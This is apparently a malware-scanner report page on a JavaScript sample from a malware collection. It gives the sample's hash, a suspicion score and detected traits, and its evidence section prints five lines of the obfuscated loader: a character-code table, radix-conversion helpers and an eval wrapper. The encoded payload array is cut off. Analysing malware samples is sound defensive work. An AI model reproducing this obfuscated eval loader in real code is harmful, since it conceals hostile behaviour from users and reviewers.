Suspicious ^66% javascript-malware-collection Download

bf77079fa1a700d6e4fda068426dbd0285227568f38ca41c9c99f7d196ef5e08.js

obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256bf77079fa1a700d6e4fda068426dbd0285227568f38ca41c9c99f7d196ef5e08

Evidence

Obfuscated increment/decrement via arithmetic lines 1–5

1var uIOHDmPoqlloU=[];for(IfZpdnW=(-607+607)/233;IfZpdnW<(127057+47)/993;IfZpdnW++){uIOHDmPoqlloU[IfZpdnW]=String.fromCharCode(IfZpdnW)}function WCSjR(VVpDmXNrnDR,yVnyjmqqBDOvc,TTWDCWNn){xGGa=parseInt(VVpDmXNrnDR,yVnyjmqqBDOvc);rsJTR=xGGa.toString(TTWDCWNn);return rsJTR;}function mEeWzEdevBgVWUS(aVKdHHlnhTqpPiBNr){eval(aVKdHHlnhTqpPiBNr)}
2function vwkIkBwQUErMpXEaTisuaNhDFlRUFBtySRzqiEaHoeAxmconLIZFbR(qZlsIPriOBrjv,ZMbbAtNqjdbKnD){ return uIOHDmPoqlloU[WCSjR(qZlsIPriOBrjv[ZMbbAtNqjdbKnD],(5269+251)/552,(6002+198)/620)];}
3function KCaNOxy(vkWHBjhMPrQAdghNRfXtevLlDwxxzcpocwKc) {return !isNaN(parseFloat(vkWHBjhMPrQAdghNRfXtevLlDwxxzcpocwKc)) && isFinite(vkWHBjhMPrQAdghNRfXtevLlDwxxzcpocwKc);}
4function YgAMlYrbCDJ(PMDIsPDD,KYyEgu){return PMDIsPDD.split(KYyEgu)}
5var O=[];O.push("13");O.push("10");O.push("13");O.push("10");O.push("118");O.push("97");O.push("114");O.push("32");O. …